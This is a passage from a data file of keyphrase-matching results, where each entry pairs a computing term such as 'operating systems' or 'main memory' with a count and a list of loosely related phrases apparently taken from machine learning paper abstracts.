'stochastic system', 'simple model systems showed', 'trained system', 'incremental classification systems', 'machine learning systems design', 'conventional federated systems', 'complex system', 'early expert systems', 'existing motion planning systems', 'engineering trustworthy systems', 'multiple classifier systems', 'flexible underlying learning system', 'artificial intelligence systems', 'construct mechanistic systems', 'actual physical systems']),
('OS', 53, ['major operating systems', 'machine operating sound', 'controlling energy storage systems', 'science user facility operated', 'machine operating sounds', 'controlled dynamical system', 'computer vision model operating', 'unknown time evolving system', 'biological natural systems', 'real robotic systems', 'crossed wires represent multiple systems', 'good concept representation learning system', 'standard recommender system metrics', 'human auditory system', 'general type-2 fuzzy systems', 'quantum linear system algorithm', 'efficient machine learning systems design', 'machine learning systems considers', 'actual intelligent maritime monitoring systems', 'submitted online learning systems', 'computational model system', 'trustworthy machine learning systems', 'traditional system', 'model complex systems consisting', 'visual system', 'automatic shape control system', 'expect broadly applicable intelligent systems', 'automated feedback system based', 'chaotic systems', 'economical power system operations', 'heterogeneous multi-agent systems', 'conscious systems', 'popular recommendation systems datasets', 'learn non-linear system evolutions', 'continuous dynamical systems', 'stochastic system', 'simple model systems showed', 'trained system', 'incremental classification systems', 'machine learning systems design', 'conventional federated systems', 'complex system', 'early expert systems', 'existing motion planning systems', 'engineering trustworthy systems', 'multiple classifier systems', 'flexible underlying learning system', 'artificial intelligence systems', 'construct mechanistic systems', 'actual physical systems']),
('operating systems', 13, ['major operating systems', 'machine operating sound', 'controlling energy storage systems', 'science user facility operated', 'machine operating sounds', 'controlled dynamical system', 'computer vision model operating', 'unknown time evolving system', 'biological natural systems', 'real robotic systems', 'crossed wires represent multiple systems', 'good concept representation learning system', 'standard recommender system metrics', 'human auditory system', 'general type-2 fuzzy systems', 'quantum linear system algorithm', 'efficient machine learning systems design', 'machine learning systems considers', 'actual intelligent maritime monitoring systems', 'submitted online learning systems', 'computational model system', 'trustworthy machine learning systems', 'traditional system', 'model complex systems consisting', 'visual system', 'automatic shape control system', 'expect broadly applicable intelligent systems', 'automated feedback system based', 'chaotic systems', 'economical power system operations', 'heterogeneous multi-agent systems', 'conscious systems', 'popular recommendation systems datasets', 'learn non-linear system evolutions', 'continuous dynamical systems', 'stochastic system', 'simple model systems showed', 'trained system', 'incremental classification systems', 'machine learning systems design', 'conventional federated systems', 'complex system', 'early expert systems', 'existing motion planning systems', 'engineering trustworthy systems', 'multiple classifier systems', 'flexible underlying learning system', 'artificial intelligence systems', 'construct mechanistic systems', 'actual physical systems']),
('main memory', 6, ['main memory plays', 'called main memory', 'main memory stores 8', 'entire main memory', 'large-capacity main memory part', 'main underlying idea', 'main practical issues', 'main issues discussed', 'kth principal component ~u', 'principal components analysis', 'orthogonal principal components', 'main model achieves low loss', 'weakly trained main model', 'multi-scale local principal component analysis', 'principal component analysis', 'top 5 principal components', 'main model process', 'principal components', 'sparse principal component', 'main model', 'main model’s error', 'principal component', 'principal component vectors', 'main quantity examined', 'principal component eigenvectors', 'principal component scores', 'sparse principal component analysis problem', 'main movie types comedy', 'main types errors related', 'principal label space transformation', 'main discussed points', 'main geometric aspect', 'dataset’s main table', 'main performance metric', 'extracting main information', '= 5 main classes', 'main training process', 'main implementation focus', 'discover principal modes', 'principal angle condition', 'learning algorithm’s main objective function', 'main network achieve', 'main data structure', 'main descriptive statistics', 'main difference lies', 'main differences', 'main network', 'main comments arise', 'main mgr task', 'main task dataset']),
('system software', 4, ['system protection software', 'simple software systems', 'software systems', 'software system', 'machine learning software stack', 'product management software developed', 'speech transcription systems classifying phonemes', 'distributed software architectures', 'common software platform', 'submit system description papers', 'document image understanding system', 'specialised software libraries', 'language processing system', 'open source software library', 'natural language processing systems', 'software engineering areas', 'system input', 'software engineers compare', 'system state information', 'existing motion planning systems', 'video analytics system', 'invited 14 software engineers', 'software engineers', 'music recommendation system', 'seamlessly integrate system initiative guidance', 'asked software engineers', 'system initiative guidance', 'open source software package designed', 'software evolution analysis', 'marker-based motion capture system', 'motion capture system', 'music recommender system', 'request routing system', 'neural information processing systems', 'software engineers provided', 'software engineers fare', 'support software agents', 'open source software', 'interactive music systems', 'traditional information technology systems', 'audio processing system capable', 'software engineer solve', 'system log information', 'robust aggregation system', 'prediction profile system', 'networked systems space', 'credit scoring system', 'news recommendation system', 'driver software running', 'database systems']),
('social network', 4, ['social network company', 'popular social networks', 'generic social network scenario', 'popular social network', 'on-line social network', 'social network scenario', 'social network classification', 'social network disaster relevance', 'social network scenarios', 'social network graphs', 'social network graph', 'social networks', 'unequal social groups', 'analyze social data', 'big social data', 'social media data', 'social data', 'social media language', 'encodes societal gender biases', 'great societal relevance', 'social welfare functions', 'social media companies', 'social graph', 'social interaction mode', 'rich social graph', 'social media information', 'reify racialized social inequality', 'promoting social integration based', 'social inequality achieved', 'social media resources', 'users social fabric', 'social impact', 'social debates', 'social interaction', 'social science problems', 'social media experience', 'social scientists alike', 'social learning strategy', 'social theory helps', 'broader social impacts', 'social learning', 'social disparities', 'simulating social behavior', 'turn reinforce societal biases', 'social learning method', 'rapidly solve pressing social problems', 'social image annotation', 'internet social debate', 'existing societal biases', 'social pooling layer']),
('operating system state', 4, ['system state information', 'full system state', 'system state variables', 'current system state', 'system state transition depends', 'phantom state blocks', 'structures called cell state', 'control-loop state machine', 'state machines', 'state block', 'finite state machine', 'juvenile resource building state', 'matrix product states', 'state partition', 'source object state', 'state feature extractor', 'product states', 'non-null state object', 'predict future object states', 'load state dict', 'checkerboard states', 'environment outputs random state', 'ground state configurations displays', 'rich ground state phase diagram', 'output state σ', 'end-to-end scene labeling systems', 'ground truth state', 'output state space', 'ground state', 'state encoder’s output', 'maps continuous states', 'sink state v3', 'ground state energy', 'maps states st', 'web system operators', 'pass state flag', 'car state includes', 'agent’s internal state representation interchangeably', 'state variables', 'steady state position', 'continuous state variable', 'raw state variables', 'triple rift system', 'agent’s state', 'raw pixel states', 'order book state', 'order book states', 'discrete hidden state variables', 'learner’s knowledge state', 'agent’s current sensed state']),
('data provenance', 3, ['administrative sources data', 'explain arbitrary data sources', 'source data longer', 'related data sources', 'untrusted data sources', 'geo-distributed data sources revolve', 'labeled source data', 'data source', 'test data fault source', 'source domain data set', 'data fault sources', 'additional data sources', 'paired speech-translation data source', 'multiple data sources', 'source data center', 'source data set', 'complex data sources', 'data fault source', 'original labeled source data', 'data sources', 'source domain data', 'open source big data technology', 'distributed data sources', 'source code data', 'isolated data sources', 'source code edit data', 'data place bounds', 'ground truth data', 'data efficient machine learning workshop', 'structured web data', 'data dependent error bounds', 'data dependent generalization error bounds', 'data center control', 'hyperscale data centers', 'data center networks', 'data center', 'data centers', 'build data centers', 'entity shares data', 'data center control problem', 'data user aggregates', 'data center scale', 'distributed data centers', 'single data center', 'data processing methods', 'observation data trough', 'temporal data processing', 'fixed-size set data structure', 'sample-efficient data structure', 'distributed data processing']),
('high performance', 3, ['high predictive performance', 'approach guarantees high performance', 'highest accuracy performance measures', 'high performance provided', 'achieve high performance', 'achieving high performance', 'high quality performances', 'desired high performance', 'reach high performance', 'high performance system', 'state-of-the-art high performance computing facilities', 'high performance computing', 'high predictive performance results', 'high probability events', 'highest scoring single episode', 'high dimensional case', 'high communication cost', 'common high dimensional cases', 'high dimensional action spaces', 'highest success rate', 'high training loss', 'high error rate', 'high error rates', 'high reconstruction error', 'high resource usages', 'high labeling effort', 'predicting renal failure remains high', 'high priority jobs', 'high performing models', 'highest execution time', 'upscaled versus high resolution noise', 'high resistance state', 'total end-use carbon emissions highest', 'high weight means', 'human attempt high dimensional visualization', 'high dimensional time series', 'high school education', 'high order tensor', 'high variance issues', 'high trait anxiety', 'high dimensional problem space', 'high pass filter fails', 'high level representations generated', 'high quality research', 'high level language', 'high resolution observations', 'highest conditional probability', 'high quality machine learning model', 'high dimensional design space', 'high pass filter correlates']),
('debug system state', 2, ['system state information', 'full system state', 'system state variables', 'current system state', 'system state transition depends', 'phantom state blocks', 'structures called cell state', 'control-loop state machine', 'state machines', 'state block', 'finite state machine', 'juvenile resource building state', 'matrix product states', 'state partition', 'source object state', 'state feature extractor', 'product states', 'non-null state object', 'predict future object states', 'load state dict', 'checkerboard states', 'environment outputs random state', 'ground state configurations displays', 'rich ground state phase diagram', 'output state σ', 'end-to-end scene labeling systems', 'ground truth state', 'output state space', 'ground state', 'state encoder’s output', 'maps continuous states', 'sink state v3', 'ground state energy', 'maps states st', 'web system operators', 'pass state flag', 'car state includes', 'agent’s internal state representation interchangeably', 'state variables', 'steady state position', 'continuous state variable', 'raw state variables', 'triple rift system', 'agent’s state', 'raw pixel states', 'order book state', 'order book states', 'discrete hidden state variables', 'learner’s knowledge state', 'agent’s current sensed state']),
('implement sophisticated security features', 2, ['add security features', 'sophisticated data visualization tool', 'sophisticated test generation tool', 'feature enhancing tools', 'sophisticated machine learning models', 'developing sophisticated concepts', 'sophisticated base model classes', 'sophisticated data structure', 'sophisticated portfolio strategies', 'commercial cyber security systems', 'sophisticated network model trained', 'network structure features', 'sophisticated classification models', 'sophisticated disentangled representation learning', 'sophisticated policy gradients', 'sophisticated auxiliary components', 'filter methods feature selection', 'sophisticated aggregation methods', 'feature layer', 'initial layers’ features', 'feature layers', 'implement entropic regularization', 'secondary structure features', 'layer learn label-specific features', 'attacker key features', 'machine learning security', 'feature extractor part', 'sophisticated domain specific similarity function', 'feature extractor network fext', 'auxiliary features describing objects', 'input feature extractor', 'kernel feature space', 'feature space equals', 'symmetry invariant feature maps', 'smaller feature map sizes', 'feature personal status', 'dependency parse features', 'frame level features', 'entity includes features', 'student feature extractor', 'implements training-time poisoning attacks', 'sophisticated methods', 'base graph features', 'student’s feature space', 'feature learning problem', 'feature extractor fθ', 'outer product features', 'current frameworks implements tools', 'basic feature extractor', 'private feature extractor']),
('today’s computing environments', 2, ['complex environment’s increased simulation cost', 'agent’s environment consists', 'cloud computing environments', 'defending cloud computing environments', 'target agent’s environment', 'large distributed computing environments', 'agent’s computed motion template', 'explainee’s task domain knowledge', 'domain’s terminology axioms', 'patient’s primary condition group', 'computing equilibrium solutions', 'final search result’s quality', 'web conference’s challenges', 'adversary’s equilibrium distribution', 'continuous state space environments', 'patient’s medical history', 'node’s initial degree di', 'exceed human expert’s ability', 'original gradient’s magnitude', 'model’s discriminative power', 'model’s predictive power', 'adversary’s strategy space', 'standard deep learning packages today', 'space environments', 'simulated object pushing environment', 'today’s neural networks', 'deep neural networks today', 'learning curve’s usage', 'greatly increased user’s motivation', 'controllable object’s shape', 'today’s neural network architectures', 'weight reviewer’s recent reviews', 'synaptic connection’s modification', 'computed top-1 accuracy', 'massive computing power', 'limited computing power', 'computing power', 'average accuracy computed', 'advanced computing power', 'past environment states', 'controlled synthetic environment', 'previously learned environments', 'technical computing environment', 'handle large state environments', 'realistic simulated environment', 'open world production environment', 'directional path navigation environment', 'atari learning environment', 'continuous state-action environments', 'effective test environment']),
('key design choice', 2, ['key design principles', 'key design features', 'design choices', 'important design choice', 'key machine learning task', 'central machine learning task', 'summarizing key approaches', 'describe fundamental processes', 'fundamental belief propagation algorithm', 'key research issues', 'fundamental construction block', 'made key contributions', 'fundamental research tasks', 'establish fundamental machine learning principles', 'fundamental networking task', 'fundamental statistical task', 'key machine learning models', 'uncovering key observations', 'key few-shot learning problem', 'learn fundamental imagery transformations', 'key insight motivating', 'key semantic patterns', 'fundamental algorithm framework', 'fundamental machine learning research', 'key analysis steps', 'key research elds', 'fundamental arithmetic operations', 'fundamental mathematical concepts', 'key user experience metrics', 'central preference order', '16 key roll call votes', 'registry key paths', 'key variable values', 'key missing detail', 'central machine estimates', 'primal form seeks', 'key words impact', 'foreign key relationships', 'key performance metrics', 'key studies pertaining', 'fundamental difficulties faced', 'key question left unanswered', 'fundamental theoretical questions', 'key modeling technique enabled', 'fundamental physical principles', 'key open question', 'key obstacles limiting', 'central open question', 'direct fundamental questions', 'address key questions']),
('limited main memory', 2, ['main memory plays', 'called main memory', 'main memory stores 8', 'limited memory bundle method', 'entire main memory', 'limited memory capacity', 'limited memory variety', 'large-capacity main memory part', 'main underlying idea', 'main practical issues', 'main issues discussed', 'kth principal component ~u', 'principal components analysis', 'orthogonal principal components', 'main model achieves low loss', 'weakly trained main model', 'limited training samples', 'multi-scale local principal component analysis', 'one-step models offer limited merits', 'principal component analysis', 'limited sample sizes', 'top 5 principal components', 'main model process', 'limited learning capabilities', 'principal components', 'sparse principal component', 'main model', 'main model’s error', 'principal component', 'principal component vectors', 'limited sample diversity', 'main quantity examined', 'principal component eigenvectors', 'principal component scores', 'sparse principal component analysis problem', 'main movie types comedy', 'limited communication', 'main types errors related', 'principal label space transformation', 'main discussed points', 'limited contingency planning', 'main geometric aspect', 'limited probability assigned', 'limited algorithmic space', 'dataset’s main table', 'limited paired data context', 'limited observed data', 'limited label information', 'main performance metric', 'limited computation power']),
('40 years ago', 2, ['speculative twenty years ago', '000 years ago', 'fifty years ago', 'experiment ten years ago', 'recent years learning-to-learn', 'recent years', 'recent years deep neural networks', 'years advanced malware', 'recent years achieved human-competitive', 'recent years proven', 'average schooling years', 'recent past years', 'study adults 85+ years', 'recent years convolutional neural networks', 'past thirty years', 'key research elds', 'recurrence period density entropy', 'subsequent time periods', 'recurrence period', 'time period bef', '1 year survival period', 'technologically advanced period', 'entire training period', 'possibly long periods', 'one-year look-back period', 'test reveal period', 'longer training period', 'output periods', 'temporal period ∆t', 'buffer period length', 'long time period', 'rate update period', 'multiple time periods', 'finite training period', 'biological critical period', 'regular sampling period', 'wave period', 'policy gains maturity', 'initial developmental period', 'fixed time period', 'entire 30-day period', 'missing phase', 'truck hauling duration', 'phase transition point', 'low-temperature ferromagnetic phase region', 'one-time training stage', 'circularly shifted 10 times', 'max epochs', 'parameter selection stage', 'supervisor crashed 54 times']),
('operating system requires', 2, ['building human-like intelligent systems requires', 'systems budget needed', 'unknown time evolving system', 'biological natural systems', 'real robotic systems', 'crossed wires represent multiple systems', 'good concept representation learning system', 'standard recommender system metrics', 'human auditory system', 'general type-2 fuzzy systems', 'quantum linear system algorithm', 'efficient machine learning systems design', 'machine learning systems considers', 'actual intelligent maritime monitoring systems', 'submitted online learning systems', 'computational model system', 'trustworthy machine learning systems', 'traditional system', 'model complex systems consisting', 'visual system', 'automatic shape control system', 'expect broadly applicable intelligent systems', 'automated feedback system based', 'chaotic systems', 'economical power system operations', 'heterogeneous multi-agent systems', 'conscious systems', 'popular recommendation systems datasets', 'learn non-linear system evolutions', 'continuous dynamical systems', 'stochastic system', 'simple model systems showed', 'trained system', 'incremental classification systems', 'machine learning systems design', 'conventional federated systems', 'complex system', 'early expert systems', 'existing motion planning systems', 'engineering trustworthy systems', 'multiple classifier systems', 'flexible underlying learning system', 'artificial intelligence systems', 'construct mechanistic systems', 'actual physical systems', 'complex software-intensive systems', 'universal induction system', 'robust aggregation system', 'existing workflow systems', 'noisy continuous dynamical systems']),
('data access', 2, ['access live streaming data', 'data access strategy', 'varying data size access', 'data access methods', 'data protection rights', 'data type abstraction', 'construct table-structured data representations', 'specific data quality characteristics', 'architecture models meta data', 'transforming feature data', 'entire model spectral data', 'data parallel framework', 'generates random data features', 'common feature and/or data space', 'data stream computational model', 'model spectral data', 'flipped data model', 'data’s internal features', 'target framework profile included data', 'data quality models', 'data generating models', 'big quantum data', 'distributed data processing frameworks', 'quantum data', 'data generating model', 'data mining process model', 'data driven model training', 'noise model data', 'relational data model', 'existing educational data mining models', 'data vector element', 'model highly heterogeneous data', 'feature’s data type', 'model performance data', 'quantum data structure', 'algorithms sort data', 'ensemble-based data assimilation framework', 'data driven models', 'expanded data features', 'data analysis framework', 'structured data representations', 'data representation learning methods', 'specific data type', 'single data point', 'data vectors', 'missing data points', 'closest data vectors', 'data points arrived', 'information access 2018 quantum theory', 'efficient data representation']),
('hardware mechanisms', 2, ['machine learning mechanisms', 'reset mechanism', 'support hardware accelerated tensor processing', 'basic splicing mechanism', 'output perturbation mechanism', 'data release mechanisms', 'lock free mechanism', 'implemented encoder-decoder attention mechanism architecture', 'entity level attention mechanism', 'leverage hardware acceleration', 'transient hardware error', 'learner’s prediction mechanism', 'consumer hardware', 'underlying hardware layer', 'external objective feedback mechanism', 'hardware reverse engineering', 'graphics hardware', 'generation quantum hardware', 'relevance feedback mechanisms', 'specialized hardware', 'integrate attention mechanisms', 'top level attention mechanism', 'attention mechanism', 'generalization mechanism', 'peek mechanisms', 'packaging signal mechanism functions', 'learning mechanisms', 'existing attention mechanisms', 'early stop mechanism', 'certified removal mechanism', 'efficient hardware implementation', 'bias regulation mechanism', 'removal mechanism', 'combined attention mechanisms', 'true underlying mechanism', 'important mechanisms supporting', 'newly proposed learning mechanisms', '-differentially private mechanism', 'hard attention mechanism', 'custom hardware architectures', 'efficient hardware realization', 'detection mechanism', 'security mechanisms', 'edge hardware platforms', 'proposed mechanism', 'data generation mechanism', 'underlying missing data mechanism', 'specialized machine learning hardware', 'differentially private mechanism', 'hierarchical structuring mechanism']),
('provide unprecedented performance', 2, ['produced unprecedented success', 'unprecedented volume', 'gain unprecedented insight', 'true performance distribution', 'human performance includes knowledge', 'valid performance estimations', 'poor performance', 'evaluate average performance', 'convergence performance', 'compare algorithm performance', 'competitive classification performance', 'hyperparameter tuning performance', 'high predictive performance', 'superior performance compared', 'model disentanglement performance increases', 'consistently poorer performance', 'performance drops significantly faster', 'performance issues', 'relative performance improvement', 'demonstrate performance benefits', 'important performance index', 'obtain classification performance', 'anatomical sites improves performance', 'strongly hurt performance', 'class performance gain', 'optimizer tests classification performance', 'achieve satisfactory performance', 'display performance metrics', 'good comparable performance', 'approach attains superior performance', 'resampled training performance', 'observe significant performance gain', 'performance metric', 'communications performance enhancement', 'imitation learning performance', 'rendering equal prediction performance', 'performance counter values', 'temporal loss performance', 'performance results reported', 'true performance variance', 'performance guarantees', 'dropout strategy boost performance', 'layer successively increases performance', 'compare model performance', 'obtain good performance', 'test performance', 'few-shot classification performance', 'demonstrated outstanding performance', 'remarkable performance enhancement', 'theoretical performance guaranties']),
('forty years', 2, ['recent years learning-to-learn', 'recent years', 'recent years deep neural networks', 'years advanced malware', 'speculative twenty years ago', 'recent years achieved human-competitive', '000 years ago', 'recent years proven', 'average schooling years', 'recent past years', 'fifty years ago', 'study adults 85+ years', 'recent years convolutional neural networks', 'past thirty years', 'experiment ten years ago', 'key research elds', 'recurrence period density entropy', 'subsequent time periods', 'recurrence period', 'time period bef', '1 year survival period', 'technologically advanced period', 'entire training period', 'possibly long periods', 'one-year look-back period', 'test reveal period', 'longer training period', 'output periods', 'temporal period ∆t', 'buffer period length', 'long time period', 'rate update period', 'multiple time periods', 'finite training period', 'biological critical period', 'regular sampling period', 'wave period', 'policy gains maturity', 'initial developmental period', 'fixed time period', 'entire 30-day period', 'missing phase', 'truck hauling duration', 'phase transition point', 'low-temperature ferromagnetic phase region', 'one-time training stage', 'circularly shifted 10 times', 'max epochs', 'parameter selection stage', 'supervisor crashed 54 times']),
('parallel computing environments', 2, ['16 parallel simulation environments', 'parallel computing stages', 'parallel computing platform', 'cloud computing environments', 'defending cloud computing environments', 'large distributed computing environments', 'employed parallel dither w/dropout', 'computing equilibrium solutions', 'parallel data streams', 'parallel data processing', 'parallel agents increases', 'out-of-domain parallel training data', 'parallel coordinates plots comparing', 'parallel coordinate plots', 'parallel belief propagation', 'parallel coordinates plot', 'parallel coordinate plot', 'parallel weak learners', 'parallel texts', 'parallel soft-max layers', 'create parallel classifications', 'efficient parallel implementation', 'parallel slow-weight path', 'parallel computation', 'fast parallel computations', 'parallel application', 'massively parallel models', 'parallel subgradient algorithms', 'parallel programming models', 'parallel subgradient algorithm', 'parallel algorithm', 'parallel dcd algorithm', 'highly parallel device', 'parallel parameter learning', 'massively parallel hardware', 'parallel stochastic optimization', 'parallel links `℘', 'past environment states', 'controlled synthetic environment', 'previously learned environments', 'technical computing environment', 'handle large state environments', 'realistic simulated environment', 'open world production environment', 'directional path navigation environment', 'atari learning environment', 'continuous state-action environments', 'effective test environment', 'simple dynamic learning environment', 'environments alongside human operators']),
('ensuring total data privacy today', 1, ['entire model spectral data', 'entire training data set', 'entire training data', 'entire data set', 'preserving data privacy', 'privacy preserving data analysis', 'time preserving data privacy', 'improving data privacy', 'generate privacy preserving data', 'data privacy', 'preserve data privacy', 'protect data privacy', 'ensure data interpolation', 'ensure correct data organization', 'entire 4× 4 collection', 'entire group altogether', 'entire public test set', 'entire 75 image classes', 'entire problem set', 'entire covariate set', 'entire filter set', 'entire training set', 'entire unlabeled set learned', 'entire past information', 'entire feature space', 'total state space', 'entire state space', 'total sample space', 'entire design space', 'total observation pairs', 'entire sequence history', 'standard deep learning packages today', 'entire rewarding history', 'total communication complexity', 'total uncertainty reduction', 'total computational complexity', 'federated data presents', 'total accuracy lower', 'entire network results', 'entire deep neural network', 'entire network architecture', 'entire capsule network', 'entire network', 'entire network concurrently', 'total probability α', 'entire knowledge bases', 'entire event log', '50 total weak signals', 'entire probability distribution', 'entire parameter interval']),
('difficult software engineering challenges', 1, ['software engineering life cycle stages', 'software engineering life cycle', 'general software engineering related words', 'software engineering research communities', 'software engineering practice', 'software engineering practices', 'software engineering work-flow', 'software engineering areas', 'software engineering applications', 'normal software engineering projects', 'software engineering projects', 'makes software engineering', 'practical software engineering applications identified', 'automate software engineering tasks', 'software engineering', 'industrial software applications', 'application poses interesting challenges', 'contributions address challenges', 'difficult relation extraction task', 'hard classification problem', 'difficult language semantics', 'difficult target task', 'difficult data problems', 'hard combinatorial optimization problem', 'notoriously computationally difficult tasks', 'hard coding shared', 'difficult task solvable', 'difficult mathematical tasks', 'hard exploration problems', 'increasingly difficult problems', 'difficult problems', 'algorithmically hard problems', 'computationally hard problems', 'solve difficult problems', 'solving hard problems', 'hard combinatorial problem', 'equally difficult problem', 'necessarily capture difficult', 'master difficult control policies', 'hard data mining', 'support software agents', 'system protection software', 'software development terms', 'software development process', 'improving software quality', 'iterative hard thresholding algorithm', 'hard decision combining', 'hard constraints imposed', 'hard constraints', 'handle hard constraints']),
('basic resource management functionality', 1, ['basic functionalities', 'resource management problem', 'network resource management', 'network slicing resource management', 'resource management', 'wireless resource management', 'perform basic accuracy measuring experiments', 'basic set operations', 'included basic implementations', 'basic gradient descent', 'basic safety message', 'applies basic probability measures', 'small basic operations', 'basic arithmetic operations', 'facilitate basic operations', 'basic statistical functions', 'accomplish basic data analysis tasks', 'basic geometric case', 'basic command line interface', 'section highlights basic ideas', 'basic data analysis', 'basic search algorithm', 'basic differential privacy training workflow', 'basic interaction comprises', 'basic sample means', 'executing basic support services', 'basic procedure exist', 'provide basic matrix calculation', 'basic chemical representation', 'overestimate resource requirements', 'basic deep neural network architecture', 'understand basic health information', 'basic network structure', 'basic data assumption', 'basic feed-forward neural network', 'basic health data', 'show basic ideas', 'learn basic skills', 'basic idea', 'applications’ basic guarantees', 'basic image transformations', 'mobility management', 'exchanging basic machine learning metadata', 'basic machine learning analysis', 'basic programming concepts', '1 introduces basic notations', 'introduce basic notation', 'basic local sentences', 'briefly introduce basic notations', 'basic local sentence']),
('mistakenly posted online', 1, ['mistakenly classi fied', 'amt job posting', 'posting unrealistic prices', 'preprocess comments posted', 'read status updates posted', 'warning sign attached', 'fully connected layer', 'fully connected penultimate layer', 'connected component', 'standard deep fully connected networks', 'densely connected convolutional networks', 'maximal connected components', 'hidden nodes connected', 'connected directed acyclic graphs', 'directly connected neighboring nodes', 'multiple fully connected layers', 'multi-class sequence tagging task', 'green lines connecting', 'identical connected neurons', 'simply fully connected', '3 fully connected layers', 'fully connected neural network', 'manually tagged samples', 'fully connected linear layers', 'tagging problem', '8 fully connected layers', 'fully connected learning space', 'final fully connected layer', 'final fully connected', 'identify connected components', 'fully connected neural networks', 'deep fully connected networks', '3 densely connected hidden layers', 'fluorescently tagged proteins26', 'remaining connected components', 'hundred recurrently connected neurons', 'largest connected component', 'fully connected single-head networks', 'locally connected regions', 'individual approaches harnessing', 'densely connected layer', 'input layer sparsely connected', 'sequence tagging model', 'full connected hidden layer', 'connected synapse belonging', 'actual goal appended samples', '2-layer fully connected network', 'wearable accelerometer mounted', 'larger outermost sectors connect', 'fully connected de ×']),
('complex imperative code', 1, ['complex wavelet signals', 'consecutive complex signal values', 'literature presenting complex', 'complex sensory inputs', 'complex hypothesis spaces', 'manipulating complex spaces', 'complex systems space', 'complex analytic subsets', 'complex projective space', 'complex aggregation schemes', 'capture complex relations', 'complex item hierarchy', 'implement increasing complex convex functions', 'learn complex mappings', 'approximating complex functions', 'highly complex function', 'complex function based', 'complex cost functions', 'forming complex functions', 'complex function classes', 'complex relational functions', 'gain profile complex optimization problem', 'eventually learn complex programming idioms', 'inherently complex symbolic objects', 'complex neural network architectures', 'exploring complex dependencies', 'building complex network architectures', 'complex neural networks', 'high-dimensional complex data', 'recent complex neutral network models', 'complex sensor data', 'complex data sets', 'complex international supply chain', 'complex data structure', 'existing complex neural networks', 'complex data sources', 'complex feature combinations', 'complex multi-layered convolutional neural networks', 'complex environment’s increased simulation cost', 'complex real-world data distribution', 'complex data', 'complex numbers xi', 'complex model exhibits large variance', 'complex equations', 'complex individual-level time series dataset', 'complex inhand manipulation skill', 'complex representations', 'complex matrix', 'learn complex feature representations', 'complex design patterns found']),
('modern data-centric life', 1, ['modern gender recognition systems', 'modern day businesses', 'modern deep neural networks', 'modern network function virtualization technologies', 'modern feedforward network', 'modern autoregressive density estimators', 'modern format', 'successful modern examples', 'causing modern web browsers', 'modern representation learning algorithms', 'modern web technologies', 'modern format era', 'modern machine learning approaches', 'modern machine learning classifiers', 'modern deep learning', 'modern over-parametrized learning', 'modern machine learning methods', 'modern deep learning frameworks', 'modern deep learning tools', 'modern machine learning practice', 'modern machine learning techniques', 'modern machine learning algorithms', 'modern trained machine learning models', 'modern machine learning tools', 'modern reinforcement learning methods', 'modern deep learning tool', 'modern machine learning', 'modern reinforcement learning', 'modern computer vision task', 'modern techniques', 'modern practical applications', 'leveraging modern features', 'modern computer vision research', 'modern scanning technology', 'modern convolutional architecture', 'modern containerization tools', 'current life savings', 'software engineering life cycle stages', 'machine learning life cycle', 'entire life cycle', 'system life cycle', 'specific life cycle stage', 'brilliant career life', 'quantum artificial life', 'artificial life', 'save human life', 'permeate daily life', 'large modern datasets', 'software engineering life cycle', 'civic life']),
('security checking code', 1, ['security cases requires low probability', 'network security domain', 'security data', 'network security', 'network security applications', 'theoretically-grounded security guarantees', 'network security based', 'code size', 'compute security evaluation curves', 'core security requirement', 'source code portion', 'benchmarks security requires moving', 'major security issue', 'security evaluation curves', 'increase code coverage', 'empirical security evaluation', 'publish messy code', 'papers released code', 'code submission', 'existing scientific code', 'add security features', 'security contexts typical', 'code line replacement', 'static code features', 'cyber security', 'perform automated code reviews', 'code submission policy', 'machine code', 'error correcting codes', 'public code notebooks', 'hash codes', 'regulatory code', 'security evaluation', 'initial source code file', 'national security perspective', 'write high-level computer code', 'sparse code', 'single code representation', 'code base', 'program source code', 'sparse conjunctive codes', 'perfect code coverage', 'standard security directory', 'starter code base', 'solver modules represent application code', 'generate valid source code', 'machine learning security', 'source code files', 'data and/or code', 'built-in code editor']),
('demonstrated comparable bandwidth', 1, ['comparable ethical standards', 'comparable qualities', 'hard cutoff yield comparable results', 'obtaining comparable qualities', 'demonstrate comparable accuracy', 'comparable software package', 'comparable computational budget', 'achieve comparable test accuracies', 'classification accuracy comparable', 'comparable robustness measure', 'comparable disentangled representation', 'good comparable performance', 'provide comparable results', 'show comparable performance', 'achieve comparable performance', 'achieves comparable results', 'achieve comparable results', 'aggregate error rates comparable', 'making training time comparable', 'easily comparable reports', 'achieve performance comparable', 'reach comparable results', 'obtain comparable performance', 'proposed approach comparable performance', 'comparable learning performance', 'evaluation results directly comparable', 'comparable numerical performance', 'comparable computational load', 'information entropy signatures presented', 'low bandwidth', 'communication bandwidth required', 'low bandwidth outputs', 'showed higher probability', 'benchmark data sets demonstrate', 'reduce bandwidth cost', 'part presents policies', 'phase space diagrams showing', 'two-dimensional feature space shown', 'language conscious demonstrated', 'random object presented', 'experiments show high accuracy', 'resume showing input patterns', 'data sets demonstrate', 'figures shown indicating rank correlation', 'test accuracies presented', 'user data presented', 'regression networks show significantly', 'findings show interesting combinations', 'sub-reward function shown', 'presented potential function helps']),
('motivating multi-level main memory systems', 1, ['main memory stores 8', 'large-capacity main memory part', 'main memory plays', 'called main memory', 'entire main memory', 'shared memory system', 'good concept representation learning system', 'concept representation learning systems', 'accurate hidden state representations motivated', 'main data structure', 'main building block', 'main underlying idea', 'main practical issues', 'main issues discussed', 'main movie types comedy', 'main computational load', 'main notable innovation', 'main test bench', 'main research output', 'main quantity examined', 'single memory structure', 'abstract belief system', 'flat memory structure', 'dual memory structure', 'proposed dual memory structure designed', 'proposed dual memory structure', 'conventional single memory structure', 'successful belief systems', 'principal angle condition', 'bank’s image recognition system', 'document image understanding system', 'main model achieves low loss', 'principal component scores', 'principal label space transformation', 'drone’s image recognition system', 'art image recognition system', 'image retrieval systems', 'image analysis systems', 'main model process', 'main model’s error', 'sparse principal component analysis problem', 'proposed memory structure consists', 'principal research scientist', 'kth principal component ~u', 'principal components analysis', 'orthogonal principal components', 'weakly trained main model', 'multi-scale local principal component analysis', 'principal component analysis', 'top 5 principal components']),
